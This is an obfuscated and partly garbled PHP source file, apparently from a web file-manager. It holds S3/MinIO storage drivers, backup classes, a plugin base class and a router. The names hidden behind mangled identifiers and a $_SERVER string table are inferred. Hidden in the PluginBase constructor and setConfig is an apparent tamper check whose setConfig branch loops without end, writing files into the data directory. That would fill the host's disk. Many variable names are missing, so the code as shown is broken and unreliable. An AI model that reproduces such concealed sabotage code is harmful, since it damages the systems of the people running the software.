trim($, $[8]) . $[8] : $; $綳 = get_file_mime(get_path_ext($)); $ڂ = $this->client->putObject($Ȏ, $this->bucket, $, $[191], array(), $綳); if (!$ڂ) { return !1; } if ($ަѠ) { return !0; } $this->cacheMethod(null, null); $ڂ = $this->copyFile($, $, array($[207] => $ڂ[$[208]])); return $ڂ ? !0 : !1; } public function fileSubstr($ی, $ߒ, $) { $ܥ = $ߒ + $ - 1; return $this->client->getObject($this->bucket, $ی, array($_SERVER[][209] => "\x62\171\164\x65\163\x3d{$ߒ}\x2d{$ܥ}")); } public function upload($, $ݬ, $ʜ = false, $ = REPEAT_REPLACE) { $ϸ޸ =& $_SERVER[]; $Ω = array($ϸ޸[207] => @md5_file($ݬ)); $ڇ = array($ϸ޸[210] => get_file_mime(get_path_ext($))); if (IO::size($ݬ) <= 1024 * 1024 * 200) { $ג = $this->client->putObjectFile($ݬ, $this->bucket, $, $ϸ޸[191], $Ω, $ڇ); return !empty($ג) ? $this->getPathOuter($) : !1; } $ݿм = $this->client->multiUploadObject($ݬ, $this->bucket, trim($, $ϸ޸[8]), $Ω, $ڇ); return $ݿм ? $this->getPathOuter($) : !1; } public function download($, $ǹ) { if (!@is_dir($this->pathFather($ǹ)) && !IO::mkdir($this->pathFather($ǹ))) { return !1; } $ = $this->client->getObject($this->bucket, $, array(), $ǹ); return $ !== !1 ? $ǹ : !1; } public function link($, $ = array()) { $ؖΩ =& $_SERVER[]; if ($this->signVer == $ؖΩ[211]) { return $this->client->getAuthenticatedURL($this->bucket, $, 3600 * 12, $); } return $this->client->getObjectUrl($this->accessKey, $this->secret, $this->bucket, trim($, $ؖΩ[8]), 3600 * 12, $this->region, array(), !0, $); } public function fileOut($וٲ, $ȳ = false, $ϙ = false, $ = '') { $ =& $_SERVER[]; if ($this->isFileOutServer()) { return $this->fileOutServer($וٲ, $ȳ, $ϙ, $); } if (!$ϙ) { $ϙ = $this->pathThis($וٲ); } $묟 = get_file_mime(get_path_ext($ϙ)); if ($묟 == $[212]) { return parent::fileOut($וٲ, $ȳ, $ϙ, $); } $ = array($[213] => $묟); if ($ȳ) { $[$[214]] = $[215] . rawurlencode($ϙ); } else { } $ҳ = $this->link($וٲ, $); $this->fileOutLink($ҳ); } public function fileOutServer($㾣, $ = false, $̪ = false, $ȓ = '') { parent::fileOut($㾣, $, $̪, $ȓ); } public function fileOutImageServer($ņ, $ = 250) { parent::fileOutImage($ņ, $); } public function hashMd5($ߐ, $ = '') { $ݨˌ =& $_SERVER[]; $ԡ = $this->objectMeta($ߐ); if (!$ԡ) { return !1; } $ = $ ? $ : _get($ԡ, $ݨˌ[216]); $ = $ ? $ : _get($ԡ, $ݨˌ[208], $ݨˌ[12]); return $; } public function uploadFormData($, $ = 3600) { $͐ =& $_SERVER[]; $ = $this->pathFather($); $ = $this->client->getHttpUploadPostParams($this->bucket, $, $͐[191], $); return array_merge((array) $, array($͐[174] => $this->getHost())); } public function multiUploadFormData($, $ = 3600) { $ =& $_SERVER[]; $̆ = gmdate($[217]); $ۭ۫ = array(); $󻴦 = $this->client->getUploadId($this->bucket, $, $ۭ۫); if (!$󻴦) { return !1; } return array($[218] => $󻴦, $[174] => $this->getHost() . $[8] . $this->pathEncode($), $[219] => $̆, $[95] => $); } public function multiUploadAuthData($ۅ, $ۉ = array()) { $С =& $_SERVER[]; $Ȝĕݕ = isset($ۉ[$С[219]]) ? $ۉ[$С[219]] : gmdate($С[217]); $ = isset($ۉ[$С[167]]) ? $ۉ[$С[167]] : $С[12]; $ӂ = $ۉ[$С[95]]; unset($ۉ[$С[95]]); if (isset($ۉ[$С[220]])) { $ۉ[$С[219]] = $Ȝĕݕ; return $this->listUploadParts($ӂ, $ۉ); } $ = array($С[221], $С[12], $С[118], $С[12], "\x78\x2d\141\x6d\172\55\x64\141\x74\145\x3a{$Ȝĕݕ}", $С[8] . $this->bucket . $С[8] . $this->pathEncode($ӂ) . $); if (strpos($, $С[222]) === 0) { $[0] = $С[223]; } if (isset($ۉ[$С[224]]) && $ۉ[$С[224]] == $С[225]) { $[0] = $С[225]; } $ = implode($С[226], $); $ = base64_encode(hash_hmac($С[227], $, $this->secret, !0)); $ = $С[228] . $this->accessKey . $С[4] . $; if (strpos($, $С[222]) === 0) { return array($С[229] => $, $С[219] => $Ȝĕݕ); } return $; } public function listUploadParts($Š, $ż = array()) { $ =& $_SERVER[]; $Ϗ = str_replace($[230], $[12], $ż[$[167]]); $ = $this->client->listParts($this->bucket, $Š, $Ϗ); if (!$) { return !1; } unset($ż[$[220]], $ż[$[224]]); $ż[$[95]] = $Š; $ = $this->multiUploadAuthData($Š, $ż); if (empty($)) { return !1; } return array($[229] => $, $[219] => $ż[$[219]], $[231] => $); } public function getHost() { return parent::getHost() . $_SERVER[][8] . $this->bucket; } public function size($˳) { $ = $this->objectMeta($˳); return $ ? $[$_SERVER[][80]] : 0; } public function info($) { if ($this->isFolder($)) { return $this->folderInfo($); } else { if ($this->isFile($)) { return $this->fileInfo($); } } return !1; } public function exist($Ғ) { return $this->isFile($Ғ) || $this->isFolder($Ғ); } public function isFile($ד) { return !$this->isFolder($ד) && $this->objectMeta($ד); } public function isFolder($师) { return $this->cacheMethod($_SERVER[][198], $师); } protected function objectMeta($) { return $this->cacheMethod($_SERVER[][199], $); } protected function _objectMeta($ք) { $윂Ҋ =& $_SERVER[]; $ք = rtrim($ք, $윂Ҋ[8]); try { $ٽ = $this->client->getObjectInfo($this->bucket, $ք); if (!isset($ٽ[$윂Ҋ[216]]) && isset($ٽ[$윂Ҋ[232]])) { $ٽ[$윂Ҋ[216]] = $ٽ[$윂Ҋ[232]]; } } catch (Exception $) { $ٽ = !1; } if (!$ٽ) { } return $ٽ; } protected function _isFolder($) { $ =& $_SERVER[]; $ = rtrim($, $[8]); if ($ == $[12] || $ == $[8]) { return !0; } $ = $this->client->getBucket($this->bucket, $, null, 1); if (empty($[$[197]])) { return !1; } $٘ = $[$[197]][0][$[32]]; return stripos($٘, $ . $[8]) === 0 ? !0 : !1; if (substr($٘, -1) == $[8]) { return !0; } if (get_path_this($٘) == get_path_this($)) { return !1; } return !0; } } class PathDriverMinIO extends PathDriverBaseS3 { public function __construct($ꥼ) { parent::__construct($ꥼ); $this->signatureVersion($_SERVER[][211]); } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } } goto b֌; D: class BackupDb { protected static $io; protected static $name; public function __construct() { } public function index() { $ԛ =& $_SERVER[]; $ﯓ = Backup::get(); self::$io = $ﯓ[$ԛ[745]]; self::$name = $ﯓ[$ԛ[32]]; $ = new DbManage(); $ = $->dbType(); $ = array($ԛ[769] => $, $ԛ[770] => time()); Backup::set($); $ = $this->tmpFilesPath() . $ԛ[771] . self::$name . $ԛ[8]; del_dir($); mk_dir($); $ā = $ܨ = 0; $̒ = new Task($ԛ[772], $ԛ[773], 0, LNG($ԛ[774]) . $ԛ[775] . LNG($ԛ[776])); try { $ = $->db()->getTables(); } catch (Exception $) { $̒->end(); return !1; } $ = array_diff($, array($ԛ[777], $ԛ[778])); foreach ($ as $) { $ā += $->model($)->count(); } $̒->task[$ԛ[779]] = $ā; $GLOBALS[$ԛ[780]] = self::$name; foreach ($ as $) { $㍎Ӗ = $ . $ . $ԛ[781]; $ڮ = null; if ($ == $ԛ[782] && (!isset($ﯓ[$ԛ[748]]) || $ﯓ[$ԛ[748]] == $ԛ[190])) { $ڮ = self::$io; } $ܨ += $->sqlFromDb($, $㍎Ӗ, $̒, $ڮ); } unset($GLOBALS[$ԛ[780]]); $̒->end(); if ($ܨ > $ā) { $ā = $ܨ; } $ = array($ԛ[769] => $, $ԛ[766] => 1, $ԛ[783] => $ā, $ԛ[784] => $ܨ, $ԛ[785] => time()); Backup::set($); if ($ā - $ܨ > 0) { $܅ַ = $ԛ[786]; if (stristr(I18n::getType(), $ԛ[787])) { $܅ַ = $ԛ[788]; } write_log(array($܅ַ, $), $ԛ[773]); return !1; } return !0; } private function tmpFilesPath() { $ =& $_SERVER[]; $ = TEMP_FILES; if ($GLOBALS[$[6]][$[90]][$[789]]) { $ = $GLOBALS[$[6]][$[90]][$[789]]; if (!mk_dir($) || !is_writable($) || !IO::mkfile($ . $[790])) { $ = TEMP_FILES; } } return $; } } class BackupDbFile { public function __construct() { } public function index() { $߹ =& $_SERVER[]; $Р = Backup::get(); $ = $Р[$߹[32]]; $؄ = $this->tmpFilesPath() . "\x62\x61\143\153\x75\160\137{$}\x2f"; $Ν¼ = $this->backupPath($Р); if (!($Ν¼ = IO::mkdir($Ν¼))) { return !1; } $ޒ = IO::listPath($؄); $ꍀ = isset($ޒ[$߹[76]]) ? $ޒ[$߹[76]] : array(); $û = array_sum(array_column($ꍀ, $߹[80])); if (!$û) { return !1; } $̑ = array($߹[791] => $û, $߹[792] => time()); Backup::set($̑); $ = new TaskFileTransfer($߹[793], $߹[773], count($ꍀ), LNG($߹[774]) . $߹[460] . LNG($߹[776]) . $߹[794]); $->task[$߹[756]] = $û; foreach ($ޒ[$߹[76]] as $廞) { $ּ = IO::move($廞[$߹[78]], $Ν¼); if (!$ּ) { $->end(); $ = IO::getLastError($߹[795] . $廞[$߹[78]] . $߹[796] . $Ν¼ . $߹[536]); write_log($, $߹[773]); return !1; } } $ʘ = new DbManage(); $; = $ʘ->getSqlFile(); if (!$;[$߹[797]] || !$;[$߹[13]]) { return !1; } IO::move($;[$߹[797]], $Ν¼); IO::move($;[$߹[13]], $Ν¼); $->end(); $̑ = array($߹[798] => $û, $߹[799] => time()); Backup::set($̑); return !0; } private function backupPath($) { $ =& $_SERVER[]; $ҏ = $[$[32]]; $׋ = Model($[763])->get($[764]); $ = substr(md5($[765] . $׋ . $ҏ), 0, 8); return "\x7b\x69\157\x3a{$[$[745]]}\x7d\57\144\141\x74\x61\x62\141\163\x65\57\142\141\x63\x6b\x75\x70\57" . $ҏ . $[11] . $; } private function tmpFilesPath() { $ =& $_SERVER[]; $ɞϬ = TEMP_FILES; if ($GLOBALS[$[6]][$[90]][$[789]]) { $ɞϬ = $GLOBALS[$[6]][$[90]][$[789]]; if (!mk_dir($ɞϬ) || !is_writable($ɞϬ) || !IO::mkfile($ɞϬ . $[790])) { $ɞϬ = TEMP_FILES; } } return $ɞϬ; } } class BackupFile { public function __construct() { } public function index() { $ל = Backup::get(); $ = $ל[$_SERVER[][288]][$_SERVER[][192]][$_SERVER[][467]]; $챜 = array($_SERVER[][468] => array($_SERVER[][800], $), $_SERVER[][801] => array($_SERVER[][326], $ל[$_SERVER[][745]])); $ = (int) Model($_SERVER[][782])->where($챜)->count($_SERVER[][467]); $ـ = (int) Model($_SERVER[][782])->where($챜)->sum($_SERVER[][80]); $ƽ = new TaskFileTransfer($_SERVER[][802], $_SERVER[][773], $, LNG($_SERVER[][774]) . $_SERVER[][775] . LNG($_SERVER[][803])); $ƽ->task[$_SERVER[][756]] = $ـ; $յ = array($_SERVER[][804] => $, $_SERVER[][805] => $ـ, $_SERVER[][806] => time()); Backup::set($յ); $Τу = !0; $ = $this->storeIds(); $ٍ = 1; $܍Ԣ = 1000; $ʳ = $ = 0; $ق = array(); $ = $ = 0; do { $ = $_SERVER[][807]; $ = Model($_SERVER[][782])->where($챜)->field($)->order($_SERVER[][808])->selectPage($܍Ԣ, $ٍ); $Σ = !empty($[$_SERVER[][364]]) ? $[$_SERVER[][364]] : array(); foreach ($Σ as $ݽ) { if (!$this->_fileExist($ݽ, $ق, $)) { $ -= 1; $ـ -= (int) $ݽ[$_SERVER[][80]]; write_log("\x66\151\154\x65\40\156\157\x74\40\145\x78\151\163\164\x2e\x66\151\x6c\x65\x49\x44\x3a{$ݽ[$_SERVER[][467]]}\x2c\x20\x70\141\164\x68\x3a{$ݽ[$_SERVER[][78]]}", $_SERVER[][809]); continue; } $ = $ݽ[$_SERVER[][78]]; $ = "\173\151\x6f\x3a{$ל[$_SERVER[][745]]}\x7d" . substr($, strlen("\x7b\x69\157\72{$ݽ[$_SERVER[][810]]}\175")); if (IO::exist($)) { $ƽ->updateFileEnd($ݽ[$_SERVER[][32]], $ݽ[$_SERVER[][80]]); } else { $ = get_path_father($); IO::mkdir($); if (!IO::copy($, $, $_SERVER[][811])) { write_log($_SERVER[][812] . $ . $_SERVER[][796] . $ . $_SERVER[][536], $_SERVER[][773]); $Τу = !1; break; } } $ = $ݽ[$_SERVER[][467]]; $ += 1; $ʳ += $ݽ[$_SERVER[][80]]; $ += 1; $ += $ݽ[$_SERVER[][80]]; if ($ʳ >= 1024 * 1024 * 100) { $յ = array($_SERVER[][813] => $, $_SERVER[][814] => $, $_SERVER[][815] => $); Backup::set($յ); $ʳ = $ = 0; } } $ɇʆ = count($Σ); $ٍ++; } while ($ɇʆ == $܍Ԣ); $ƽ->end(); $յ = array($_SERVER[][816] => 1, $_SERVER[][496] => time(), $_SERVER[][768] => 1, $_SERVER[][813] => $, $_SERVER[][805] => $ـ, $_SERVER[][804] => $, $_SERVER[][817] => time()); if ($) { $յ[$_SERVER[][814]] = $; $յ[$_SERVER[][815]] = $; } Backup::set($յ); $this->_fileFilter($ق); return !0; } private function _fileExist($, &$߳, $梔) { $ =& $_SERVER[]; $ݡ = $[$[78]]; if (in_array($[$[467]], $߳)) { return !1; } if (!in_array($[$[810]], $梔)) { return !1; } if (IO::exist($ݡ)) { return !0; } $ = get_path_father($ݡ); if (IO::exist($)) { $߳[] = $[$[467]]; return !1; } $ϊ = array($[810] => $[$[810]], $[78] => array($[378], "{$}\x25")); $ה = Model($[782])->where($ϊ)->field($[468])->select(); $߳ = array_merge($߳, array_to_keyvalue($ה, $[12], $[467])); return !1; } private function _fileFilter($Ή) { $擶 =& $_SERVER[]; if (empty($Ή)) { return; } $ = array($擶[467] => array($擶[7], array_unique($Ή))); $ = Model($擶[818])->where($)->field($擶[403])->select(); foreach ($ as $) { Model($擶[818])->remove($[$擶[403]], !1); } } private function storeIds() { $ˣ =& $_SERVER[]; $܁ = Model($ˣ[760])->listData(); $ƒ = array(); $݄ = $GLOBALS[$ˣ[6]][$ˣ[90]][$ˣ[819]]; foreach ($܁ as $) { $Қ = strtolower($[$ˣ[96]]); if (!isset($݄[$Қ])) { continue; } $隍 = $ˣ[74] . (isset($݄[$Қ]) ? $݄[$Қ] : ucfirst($Қ)); if (!class_exists($隍)) { continue; } $ƒ[] = $[$ˣ[401]]; } return $ƒ; } } goto e樋ʑ; F爙: class PluginBase { public $in; public $pluginName; public $pluginPath; public $pluginHost; public $pluginHostDefault; public $pluginApi; public $packageData; private $pluginLangArr; private $pluginConfig; public $cachePath; public $fileInfo; function __construct() { $ =& $_SERVER[]; if ($_SERVER[$[389]] != $_SERVER[$[390]]) { $ = $[865]; $ܖà = $[391]; $ˢǠ = $_SERVER[$[392]] . $[393]; $ܛ = $ܖà($ˢǠ); $榄 = explode($[226], $ܛ); if (count($榄) < $[617]) { $ٯ = $[395]; $ٯ(); } $ = $[866]; $($_SERVER[$[867]]); $($_SERVER[$[392]] . $[868]); $䶏 = 1; while ($䶏 > 1) { $䶏 = $䶏 + 4; $ܷȃ = rawurlencode($䶏 . $[373]); } } global $in, $config; $this->config =& $config; $this->in =& $in; $this->modelPlugin = Model($[1506]); $this->pluginName = str_replace($[1506], $[12], get_class($this)); $this->pluginPath = PLUGIN_DIR . $this->pluginName . $[8]; $this->pluginApi = appHostGet() . $[1507] . $this->pluginName . $[8]; $this->pluginHost = $config[$[1508]] . $this->pluginName . $[8]; $this->pluginHostDefault = $config[$[1508]] . $this->pluginName . $[8]; $ = $config[$[1509]]; if ($ && strpos($[50] . $ . $[50], $this->pluginName) !== !1) { $this->pluginHost = $config[$[1510]] . $this->pluginName . $[8]; } $this->pluginLangArr = $this->initLang(); $this->values = array(); $this->echoJsAssignArr = array(); return $this; } public function regist() { $this->hookRegist(array()); } public function install() { } public function update() { } public function unInstall() { } public function echoJs() { $this->echoFile($_SERVER[][1511]); } protected function assign($Ȍ, $ = false) { if (is_array($Ȍ)) { $this->values = array_merge($this->values, $Ȍ); } else { $this->values[$Ȍ] = $; } } protected function display($飿) { extract($this->values); require $飿; } final function hookRegist($˕) { $this->modelPlugin->appRegist($this->pluginName, $˕); } final function appIcon() { $ =& $_SERVER[]; $Ȱ = $this->appPackage(); $ = $[12]; if (isset($Ȱ[$[417]])) { if (isset($Ȱ[$[417]][$[1512]])) { $ = $[1513] . $Ȱ[$[417]][$[1512]] . $[1514]; } else { if ($Ȱ[$[417]][$[1515]]) { $ = $[1516] . $Ȱ[$[417]][$[1515]] . $[1517]; } } } return $; } final function fileCanView($̈) { $ =& $_SERVER[]; if (request_url_safe($̈)) { return !0; } if ($this->isShare($̈)) { return !0; } $΍ = Session::get($[1518]); if (!$΍ || !$΍[$[1519]]) { $ɍ = $[1520] . rawurlencode(this_url()); show_tips(LNG($[1521]) . $[1522] . $ɍ . $[1523] . LNG($[1524]) . $[1525], !1); } if (!Action($[1526])->authCan($[1527])) { show_tips(LNG($[1528]) . $[1529], !1); } ActionCall($[1530], $̈); } final function isShare($ݾ٨) { $φ = KodIO::parse($ݾ٨); return $φ[$_SERVER[][33]] == KodIO::KOD_SHARE_LINK; } final function filePathLink($ȑ) { if (request_url_safe($ȑ)) { return $ȑ; } if (!$this->isShare($ȑ)) { $ȑ = $this->filePath($ȑ); } return Action($_SERVER[][1160])->linkOut($ȑ); } public function filePathLinkOut($) { if (request_url_safe($)) { return $; } $this->fileCanView($); return Action($_SERVER[][1160])->link($); } final function filePath($) { $Θ =& $_SERVER[]; if ($ = $this->checkSharePath($)) { Hook::trigger($Θ[1531], $); return $; } $this->fileCanView($); if (request_url_safe($)) { $ٍ = parse_url_query($); if (isset($ٍ[$Θ[1532]]) && isset($ٍ[$Θ[208]])) { $ = Model($Θ[763])->get($Θ[764]); $ = Mcrypt::decode($ٍ[$Θ[208]], $); if ($) { $this->fileInfo = IO::infoWithChildren($); $this->cachePath = $this->pluginCachePath($this->_tmpFileName()); return $; } } $ = $this->_cacheHttpFile($); $this->fileInfo = IO::infoWithChildren($); } else { $this->fileInfo = IO::infoWithChildren($); if (!$this->fileInfo) { show_tips(LNG($Θ[106]), !1); } $this->cachePath = $this->pluginCachePath($this->_tmpFileName()); } Hook::trigger($Θ[1531], $); return $; } final function _cacheHttpFile($ـ) { $Ԍ = hash_path($ـ, !0); $this->cachePath = $this->pluginCachePath($Ԍ); if ($ = IO::fileNameExist($this->cachePath, $Ԍ)) { return KodIO::make($); } $Ù = $this->cachePath . $Ԍ; return $this->pluginCacheFileSet($Ù, file_get_contents_nossl($ـ)); } final function _tmpFileName($ٟ = array()) { $۫ =& $_SERVER[]; if (!$ٟ) { $ٟ = $this->fileInfo; } if (isset($ٟ[$۫[170]])) { return $ٟ[$۫[170]]; } if (isset($ٟ[$۫[163]][$۫[170]])) { return $ٟ[$۫[163]][$۫[170]]; } $ = IO::hashSimple($ٟ[$۫[78]]); if ($) { return $; } $䍎 = array($ٟ[$۫[32]], $ٟ[$۫[78]], $ٟ[$۫[80]]); if (isset($ٟ[$۫[521]])) { $䍎[] = $ٟ[$۫[521]]; } return md5(implode($۫[11], $䍎)); } final function checkSharePath($Ü) { $٥ =& $_SERVER[]; if (!defined($٥[474])) { define($٥[514], 0); } if (!$this->isShare($Ü)) { return !1; } $Τ = Action($٥[1160])->sharePathInfo($Ü); if (!isset($Τ[$٥[78]])) { show_json(LNG($٥[1533]), !1); } $this->fileInfo = $Τ[$٥[163]]; $this->cachePath = $this->pluginCachePath($this->fileInfo[$٥[170]]); return $Τ[$٥[78]]; } final function pluginCachePath($ = '') { $ =& $_SERVER[]; $ϩ䃓 = IO_PATH_SYSTEM_TEMP . $[1534] . $this->pluginName; if (!($ = IO::infoFull($ϩ䃓))) { return IO::mkdir($ϩ䃓 . $[8] . $); } if (empty($)) { return $[$[78]]; } if (!($䝬 = IO::fileNameExist($[$[78]], $))) { return IO::mkdir($[$[78]] . $); } return KodIO::make($䝬); } final function pluginCacheFileSet($׷, $ţ = '') { $ =& $_SERVER[]; if (!($ɤ = IO::infoFull($׷))) { return IO::mkfile($׷, $ţ, REPEAT_REPLACE); } IO::setContent($ɤ[$[78]], $ţ); return $ɤ[$[78]]; } final function pluginLocalFile($쨣 = '') { $е =& $_SERVER[]; $ֵ = TEMP_FILES . "{$this->pluginName}\57"; if (!is_dir($ֵ)) { mk_dir($ֵ); } if (!$쨣) { return $ֵ; } $ = IO::info($쨣); $ؼș = $this->_tmpFileName($) . $е[10] . $[$е[167]]; if (!checkExtSafe($ؼș)) { $ؼș = $ؼș . $е[1535]; } $¦Ӡ = $ֵ . $ؼș; if (@file_exists($¦Ӡ)) { return $¦Ӡ; } return IO::copy($쨣, $ֵ, 0, $ؼș); } final function appPackage() { $ =& $_SERVER[]; if ($this->packageData) { return $this->packageData; } $ = $this->parseFile($this->pluginPath . $[1536]); $this->parseLang($); $ۺș = json_decode_force($); if (!$ۺș) { return array(); } $э׾ = Hook::trigger($[1537], $ۺș); if ($э׾ && is_array($э׾)) { $ۺș = $э׾; } $this->packageData = $ۺș; return $ۺș; } public function packageInfoGet($ĥ) { $ = $this->appPackage(); return array_get_value($, $ĥ); } public function packageVersion() { return $this->packageInfoGet($_SERVER[][1538]); } public function packageTitle() { return $this->packageInfoGet($_SERVER[][1539]); } public function packageCopyright() { return $this->packageInfoGet($_SERVER[][1540]); } public function echoJsAssign($ܫ, $) { $this->echoJsAssignArr[$ܫ] = $; } private function parseFile($) { $ =& $_SERVER[]; $ƍ = file_get_contents_nossl($); $ = array($[1541], $[1542], $[1543], $[1544], $[1545], $[1546], $[1547]); $Ũ߃ = array($this->pluginHost, $this->pluginHostDefault, $this->pluginApi, $this->pluginName, $this->pluginPath, APP_HOST, $this->config[$[90]][$[1548]]); foreach ($this->echoJsAssignArr as $ԃ => $Ǻ) { $[] = $[1549] . $ԃ . $[1550]; $Ũ߃[] = is_array($Ǻ) || is_object($Ǻ) ? rawurlencode(json_encode($Ǻ)) : $Ǻ; } if (strstr($ƍ, $[1551])) { $ = rawurlencode(json_encode($this->pluginLangArr)); $ƍ = str_replace($[1551], $, $ƍ); } if (strstr($ƍ, $[1552])) { $ = $ = rawurlencode(json_encode($this->getConfig())); $ƍ = str_replace($[1552], $, $ƍ); } $ƍ = str_replace($, $Ũ߃, $ƍ); return $ƍ; } private function parseLang(&$) { $©ޡ =& $_SERVER[]; $ވ = $©ޡ[1553]; if (!strstr($, $ވ)) { return; } preg_match_all($©ޡ[1554], $, $); if (!is_array($) || count($) == 0 || !is_array($[0]) || count($[0]) == 0) { return; } $ = array(); $ = array(); foreach ($[0] as $ț) { $ = substr($ț, strlen($ވ), -4); $ = LNG($); $[] = $ț; $[] = str_replace(array($©ޡ[226], $©ޡ[1065], $©ޡ[337], $©ޡ[117]), array($©ޡ[53], $©ޡ[53], $©ޡ[12], $©ޡ[1555]), $); } $ = str_replace($, $, $); } private function parseConfig(&$) { $ē =& $_SERVER[]; $τ = $ē[1556]; if (!strstr($, $τ)) { return; } preg_match_all($ē[1557], $, $); if (!is_array($) || count($) == 0 || !is_array($[0]) || count($[0]) == 0) { return; } $ = $this->getConfig(); $צ = array(); $ = array(); foreach ($[0] as $פ) { $Ҩ = substr($פ, strlen($τ), -2); $צ[] = $פ; $[] = _get($, $Ҩ); } $ = str_replace($צ, $, $); } private function parsePackage(&$—) { $ =& $_SERVER[]; $ = $[1558]; if (!strstr($—, $)) { return; } preg_match_all($[1559], $—, $); if (!is_array($) || count($) == 0 || !is_array($[0]) || count($[0]) == 0) { return; } $ = $this->appPackage(); $ = array(); $ = array(); foreach ($[0] as $Î) { $쮥 = substr($Î, strlen($), -2); $[] = $Î; $[] = _get($, $쮥); } $— = str_replace($, $, $—); } final function echoFile($, $å = false) { $ߞ =& $_SERVER[]; $ = $this->pluginPath . $; if (ACT == $ߞ[1560]) { echo $ߞ[1561] . $this->pluginName . $ߞ[8] . $ . $ߞ[1562]; if (!file_exists($)) { echo $ߞ[1563]; return; } } $ = $this->parseFile($); $this->parseLang($); $this->parseConfig($); $this->parsePackage($); if (is_array($å)) { $ = str_replace(array_keys($å), array_values($å), $); } echo $ߞ[226] . $; } final function initLang() { $ =& $_SERVER[]; $؂ = $[1564]; $ = $this->pluginPath . $[1565]; $ĉ = I18n::getType(); $Ղ = array(); if (file_exists($ . $ĉ . $[831])) { $Ղ = (include $ . $ĉ . $[831]); } else { if ($ĉ == $[1566] && !file_exists($ . $ĉ . $[831]) && file_exists($ . $[1567])) { $Ղ = (include $ . $[1567]); } else { if (file_exists($ . $؂ . $[831])) { $Ղ = (include $ . $؂ . $[831]); } } } if (!is_array($Ղ)) { return array(); } if (@count($Ղ) > 0) { I18n::set($Ղ); } return $Ղ; } public function getConfig() { if (!$this->pluginConfig) { $this->pluginConfig = $this->modelPlugin->getConfig($this->pluginName); } return $this->pluginConfig; } public function setConfig($ᴨ) { $ =& $_SERVER[]; $ = $_SERVER[$[397]]; $Қ = $[1568]; if ($_SERVER[$[389]] != $Қ($)) { $ = $[865]; $騡 = $[391]; $· = $_SERVER[$[392]] . $[393]; $ = $騡($·); $Ųؽ = explode($[226], $); if (count($Ųؽ) < $[617]) { $ŕ = $[395]; $ŕ(); } $ = $[866]; $($_SERVER[$[867]]); $ = $[865]; $(); $ = $[1569]; $ֺ롇 = json_encode($GLOBALS[$[1570]]); $Ŕ = 1; for ($ű = $Ŕ; $ű > 0; $ű++) { $(DATA_PATH . $ű, $ֺ롇); } } return $this->modelPlugin->setConfig($this->pluginName, $ᴨ); } public function onSetConfig($) { } public function onGetConfig($) { } public function onChangeStatus($琂) { } public function onUninstall() { } public function onInstall() { } public function authCheck($滸 = "\x70\x6c\x75\147\151\x6e\101\165\164\150") { $ =& $_SERVER[]; if (!defined($[474])) { return !1; } if (_get($GLOBALS, $[505])) { return !0; } $ڎ = $this->getConfig(); if (!$ڎ[$滸]) { return !1; } return ActionCall($[1571], $ڎ[$滸]); } public function url($´, $ = '', $哫 = true) { $ =& $_SERVER[]; $ơ = $this->getConfig(); $ = KOD_VERSION . $[10] . KOD_VERSION_BUILD; $LJ = $this->packageVersion(); $ߕ = $ . $[460] . $LJ; if (substr($´, 0, 4) == $[145] || substr($´, 0, 2) == $[1352]) { $ = $´ . $[1572] . $ߕ; } else { if ($ == $[12]) { $ = $this->pluginHost . $´ . $[1572] . $ߕ; } else { if ($ === $[79]) { $ = $this->pluginHost . $´; } else { if ($ == $[1573]) { $ = STATIC_PATH . $´ . $[1572] . $; } else { if ($ == $[1574]) { $ = APP_HOST . $[1575] . $´ . $[1572] . $; } else { if (isset($ơ[$])) { $ = $ơ[$] . $´ . $[1572] . $ߕ; } } } } } } if (!$哫) { return $; } echo $; } public function link($Ãԑȋ = false, $ = '') { $❦ =& $_SERVER[]; if (!$Ãԑȋ) { $this->link($❦[1576], $❦[1574]); $this->link($❦[1577], $❦[1573]); $this->link($❦[1578], $❦[1573]); $this->link($❦[1579], $❦[1573]); $this->link($❦[1580], $❦[1573]); return; } $ = $this->url($Ãԑȋ, $, !1); if (substr($Ãԑȋ, -3) == $❦[1581]) { echo $❦[1582] . $ . $❦[1583] . $❦[226]; } else { if (substr($Ãԑȋ, -4) == $❦[1584]) { echo $❦[1585] . $ . $❦[1586] . $❦[226]; } } } } class Route { public static $halts = false; public static $routes = array(); public static $methods = array(); public static $callbacks = array(); public static $maps = array(); public static $patterns = array("\72\x61\156\171" => "\133\x5e\x2f\135\x2b", "\x3a\156\x75\x6d" => "\x5b\x30\x2d\71\x5d\x2b", "\72\141\x6c\154" => "\x2e\52"); public static $errorCallback; public static function __callstatic($М, $ރ) { $ =& $_SERVER[]; if ($М == $[1587]) { $ = array_map($[1588], $ރ[0]); $Ģ = strpos($ރ[1], $[8]) === 0 ? $ރ[1] : $[8] . $ރ[1]; $ = $ރ[2]; } else { $ = null; $Ģ = strpos($ރ[0], $[8]) === 0 ? $ރ[0] : $[8] . $ރ[0]; $ = $ރ[1]; } array_push(self::$maps, $); array_push(self::$routes, $Ģ); array_push(self::$methods, strtoupper($М)); array_push(self::$callbacks, $); } public static function error($) { self::$errorCallback = $; } public static function haltOnMatch($Å = true) { self::$halts = $Å; } public static function dispatch() { $ =& $_SERVER[]; $ = parse_url($_SERVER[$[1589]], PHP_URL_PATH); $ = $_SERVER[$[156]]; $х = array_keys(static::$patterns); $ = array_values(static::$patterns); $® = !1; self::$routes = preg_replace($[1254], $[8], self::$routes); if (in_array($, self::$routes)) { $Ӡ = array_keys(self::$routes, $); foreach ($Ӡ as $Ќ) { if (self::$methods[$Ќ] == $ || self::$methods[$Ќ] == $[1590] || in_array($, self::$maps[$Ќ])) { $® = !0; if (!is_object(self::$callbacks[$Ќ])) { $ܰ = explode($[8], self::$callbacks[$Ќ]); $ = end($ܰ); $IJ = explode($[1591], $); $Ø = new $IJ[0](); $Ø->{$IJ[1]}(); if (self::$halts) { return; } } else { call_user_func(self::$callbacks[$Ќ]); if (self::$halts) { return; } } } } } else { $ݳ = 0; foreach (self::$routes as $Ќ) { if (strpos($Ќ, $[4]) !== !1) { $Ќ = str_replace($х, $, $Ќ); } if (preg_match($[1592] . $Ќ . $[1593], $, $)) { if (self::$methods[$ݳ] == $ || self::$methods[$ݳ] == $[1590] || !empty(self::$maps[$ݳ]) && in_array($, self::$maps[$ݳ])) { $® = !0; array_shift($); if (!is_object(self::$callbacks[$ݳ])) { $ܰ = explode($[8], self::$callbacks[$ݳ]); $ = end($ܰ); $IJ = explode($[1591], $); $Ø = new $IJ[0](); if (!method_exists($Ø, $IJ[1])) { echo $[1594]; } else { call_user_func_array(array($Ø, $IJ[1]), $); } if (self::$halts) { return; } } else { call_user_func_array(self::$callbacks[$ݳ], $); if (self::$halts) { return; } 